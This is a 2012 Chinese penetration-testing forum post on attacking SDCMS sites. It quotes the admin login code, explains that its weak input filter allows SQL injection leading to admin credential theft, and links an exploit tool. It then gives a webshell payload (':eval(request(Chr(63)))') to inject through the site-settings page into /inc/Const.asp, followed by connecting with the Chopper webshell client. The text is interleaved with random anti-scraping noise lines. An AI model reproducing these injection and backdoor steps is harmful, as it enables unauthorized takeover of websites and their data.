中国网络渗透测试联盟
标题:
SDCMS通杀漏洞利用工具及提权拿SHELL
[打印本页]
作者:
admin
时间:
2012-11-9 20:57
标题:
SDCMS通杀漏洞利用工具及提权拿SHELL
作者:T00LS 鬼哥
! U2 d# @$ r/ w a; v! f4 k$ P& o9 j
漏洞文件:后台目录/index.asp
+ G& A) q4 Z1 Y5 |% e6 e& U
: b8 P+ A1 Q8 b4 W
Sub Check
: S2 V3 q7 K( T! l1 o7 d6 Z
Dim username,password,code,getcode,Rs
# ^) G% Z) Q$ k
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
- l) U& v, m7 C# K% i) W3 v
username=FilterText(Trim(Request.Form("username")),1)
, f% P: W! A6 k0 ?0 T, p) ^% k0 y1 Y6 d
password=FilterText(Trim(Request.Form("password")),1)
0 i8 g' ^, ~7 { S
code=Trim(Request.Form("yzm"))
* N& C# i) |3 b; X' J% a
getcode=Session("SDCMSCode")
" t0 A9 G1 f7 @2 M2 b+ s! ^5 \1 B
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
f5 T7 R7 Q3 |6 _% O( T
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"
ied
- v( K/ g+ ~6 N8 ]! L$ v
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"
ied
' O: t( q7 O. e
IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"
ied
% _; H3 |5 H# o i- d' c7 _
IF username="" or password="" Then
; `/ _ H3 G6 ]0 U4 I
Echo "用户名或密码不能为空"
ied
- k$ z5 f2 M" O+ S+ W, C
Else
1 J8 E `& L+ a% x& Q8 J, k
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
# D8 H9 t+ Y0 ?' T8 o" ^2 d
IF Rs.Eof Then
: o" D, q. `7 O7 e/ s3 |# [
AddLog username,GetIp,"登录失败",1
2 Y; s4 K2 E4 J
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
9 `! ?0 H7 A' U% v( n4 @% y
Else
, K/ F- {+ O/ N R8 K, f1 g5 Y1 m
Add_Cookies "sdcms_id",Rs(0)
. g5 }& _2 d I/ E2 _5 D9 j: a7 v. I
Add_Cookies "sdcms_name",username
# Y. t+ Y& e: X2 G5 h9 A6 N
Add_Cookies "sdcms_pwd",Rs(2)
`. u4 A& U9 b- y) w
Add_Cookies "sdcms_admin",Rs(3)
- H( F6 J4 m9 e$ t' v
Add_Cookies "sdcms_alllever",Rs(4)
. u! U2 o9 a4 V
Add_Cookies "sdcms_infolever",Rs(5)
! k% J8 b8 G8 {: B
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
3 N2 m" p6 Y, ?, M4 H/ G
AddLog username,GetIp,"登录成功",1
/ l" e7 d; W: l. T
'自动删除30天前的Log记录
% _0 y4 T/ ~9 F% y
IF Sdcms_DataType Then
$ F' G! n& ]: }0 O
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
% o' ~; E6 {6 i% ?8 m5 J
Else
: f! K8 R$ G' a
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
( d1 ]' B& ?1 a, Q
End IF
+ v/ t3 P! p( D+ u, q( i+ F
Go("sdcms_index.asp")
1 _+ z7 x& W& k: z1 g P8 k+ B" z
End IF
1 h- Q# {, z O( [% `; q4 T% P
Rs.Close
% U: _4 O' a k ?$ f
Set Rs=Nothing
' P( F; d! L% ~7 O) N( w" e
End IF
* [, v# b0 N# |- Y+ E
End Sub
; L& R7 `; E$ S: G
" y# b+ ?8 T2 ^. Q- `0 V, F
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
. C5 V, I' W* u6 f" C# e# l0 ?
3 A/ O& U, \! y4 J+ r7 n8 ?
Function FilterText(ByVal t0,ByVal t1)
- N# w5 b0 ^6 e9 Q+ `8 y5 ~7 c
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
7 @# B* |" B7 H1 N7 @. r3 ?
t0=Trim(t0)
' X n t$ p% i4 ^) a
Select Case t1
4 A8 }5 d; _3 l
Case "1"
/ l- ^5 v8 r4 x! Q$ ?* \
t0=Replace(t0,Chr(32),"")
+ q& a5 f$ A6 C' x) e* a
t0=Replace(t0,Chr(13),"")
) L' y' a+ ^1 L/ u( P: u) a
t0=Replace(t0,Chr(10)&Chr(10),"")
8 q0 N0 A, J5 `) j4 `
t0=Replace(t0,Chr(10),"")
& _) L8 z c+ j7 \
Case "2"
9 _" Y, o: A* s. o6 h) x
t0=Replace(t0,Chr(8),"")'回格
: {7 o4 f. P8 a5 C/ z- |# l2 j
t0=Replace(t0,Chr(9),"")'tab(水平制表符)
, d, N& e1 F: d, a
t0=Replace(t0,Chr(10),"")'换行
3 ?. `' d7 A" A+ L! w3 H
t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
- p# F' W0 ^; P
t0=Replace(t0,Chr(12),"")'换页
3 O& e0 M0 G# J. f. r, p* p; w
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
5 C \: b! u) n( @& [/ Y8 C
t0=Replace(t0,Chr(22),"")
3 n- |: x- p; z& a
t0=Replace(t0,Chr(32),"")'空格 SPACE
% h1 f2 D+ \& p+ ]3 q. ?
t0=Replace(t0,Chr(33),"")'!
! o* ^) C- F3 w g. w
t0=Replace(t0,Chr(34),"")'"
$ A3 Q4 ]+ z- }
t0=Replace(t0,Chr(35),"")'#
/ ~$ `% a7 q) c+ o
t0=Replace(t0,Chr(36),"")'$
) _- P F8 _) b2 ?4 u1 p+ X& c
t0=Replace(t0,Chr(37),"")'%
* S# R1 }% H2 L
t0=Replace(t0,Chr(38),"")'&
% h$ K" r; X/ t! F
t0=Replace(t0,Chr(39),"")''
9 V2 x( ^2 w# u7 d5 q6 \1 B
t0=Replace(t0,Chr(40),"")'(
8 ]* Y! c7 O( M% \0 ? o% M8 p
t0=Replace(t0,Chr(41),"")')
! t3 n& c, y" G3 U, s* ]# U P/ J
t0=Replace(t0,Chr(42),"")'*
! @7 R. m8 y2 A/ q* y: {
t0=Replace(t0,Chr(43),"")'+
4 q1 o1 L. Q1 [
t0=Replace(t0,Chr(44),"")',
$ @: x1 @6 z1 g, m
t0=Replace(t0,Chr(45),"")'-
; P5 i8 P- X0 F" g
t0=Replace(t0,Chr(46),"")'.
8 r/ J1 C. E& y
t0=Replace(t0,Chr(47),"")'/
K3 Z3 L4 V3 t" j5 S" d
t0=Replace(t0,Chr(58),"")':
$ K7 e9 k1 b2 K- w3 I+ d) n' A
t0=Replace(t0,Chr(59),"")';
: g. z3 Z* h/ [. d* M
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
5 \0 z% y8 H o5 g; P
t0=Replace(t0,Chr(63),"")'?
7 \8 r9 O- E9 O4 h6 x
t0=Replace(t0,Chr(64),"")'@
& b7 {' h* O; K' ` E
t0=Replace(t0,Chr(91),"")'\
5 s% n+ v G: j) f' l$ ?
t0=Replace(t0,Chr(92),"")'\
0 v( ^* ~6 v2 Y" g
t0=Replace(t0,Chr(93),"")']
) s% \: S. i% n) }- a/ t+ J6 X
t0=Replace(t0,Chr(94),"")'^
0 V Z& m1 R# }4 U
t0=Replace(t0,Chr(95),"")'_
5 B, {% _5 K# C' V) l
t0=Replace(t0,Chr(96),"")'`
6 O# f- g" p' u$ b- H
t0=Replace(t0,Chr(123),"")'{
G; q; C {& x- x7 G
t0=Replace(t0,Chr(124),"")'|
4 V; v: K3 n! q! z
t0=Replace(t0,Chr(125),"")'}
* e1 _ `1 z/ S% a4 Q F* Z3 J4 D
t0=Replace(t0,Chr(126),"")'~
# W1 S* V1 E0 H8 C$ Q4 ~- M6 T
Case Else
+ Q+ Y$ x6 L/ U a$ H
t0=Replace(t0, "&", "&")
' F) J u# H+ w% Z7 r, R+ c6 E
t0=Replace(t0, "'", "'")
* J* h" D7 ]# O) P4 K
t0=Replace(t0, """", """)
. q8 A5 M- O0 f/ [
t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
: Z4 n# W! k+ n+ h6 A* G x
End Select
# P; [$ W5 f# O. I# o
IF Instr(Lcase(t0),"expression")>0 Then
! Z$ x Q1 s$ v; M7 _
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
0 f. j' H9 N( m" ^* @
End If
9 Z8 x# a3 _& I( @$ I& K' F
FilterText=t0
% G7 I8 }9 V: A- |
End Function
% \7 n, k# r( X6 c
. ?1 R" H: |' w, O3 O
看到没。直接参数是1 只过滤
( U8 j- B0 e5 Q5 \/ {* _7 t% d1 d
t0=Replace(t0,Chr(32)," ")
* K2 f* g# ?* [
t0=Replace(t0,Chr(13),"")
C. `9 e# c. x3 ` C" _6 e+ I
t0=Replace(t0,Chr(10)&Chr(10),"
4 q! S( V% x" W
")
% A3 ]# d% R! J0 v( J
t0=Replace(t0,Chr(10),"
! y" c) b" d0 N0 b/ @& @
")
4 f0 y. p) p$ g- b7 p
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
0 D, U- l$ ?, j8 F+ R
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
- O. m3 ^; H* O+ W+ a6 F
6 s2 K' h+ c1 T* J$ `
测试:
3 [# k9 @0 r/ \1 W" [
- \! M% w7 ~: H+ S
- G0 }' d1 g2 m1 y5 Q) d
现在输入工具上验证码,然后点OK
8 o% z7 R! J. Z+ c" e5 _. k: h
& v" T8 M8 D' w0 M. S
% u6 j, e$ X# o7 U- ^
看到我们直接进入后台管理界面了,呵呵!
6 t8 J' C; h5 q3 |' S
. d S( u( ]7 D" |
+ b+ E4 c. r% m8 \+ I: k; x5 l
: g! @. a5 k5 j0 |& ~
这样直接进入后台了。。。。
7 h" Z2 y# e. u3 u- P. u" F, ]
8 o, I% m) w9 l k4 t# h/ i
) R; H$ Y5 R( I' e3 @( F7 l7 S
r9 ^0 Z! v+ E) M# Y2 Q/ V: b
SDCMS提权:
5 C. f1 n! O; K" Z3 X
! Q( Z& N2 f! D) M- k; E! O
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
- K) A' {2 H4 ]: R/ B" \
2 K3 m# C5 w9 f4 i
' h6 i: G4 o5 c0 s- m5 a$ C6 Z7 p
, D6 e/ ?9 h$ ~6 P0 k
OK,现在用菜刀连接下!
9 C% X: J' n+ Q8 ~
+ J4 I8 j1 T8 F
" _! h {: C0 U: y, E
; Z" x& a/ F: \3 V' Y" [8 v+ }7 ~/ A
4 _$ d+ R0 x0 i: t( X6 W0 H7 T6 @/ U
$ S" K, U% K+ s' `2 [7 G
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2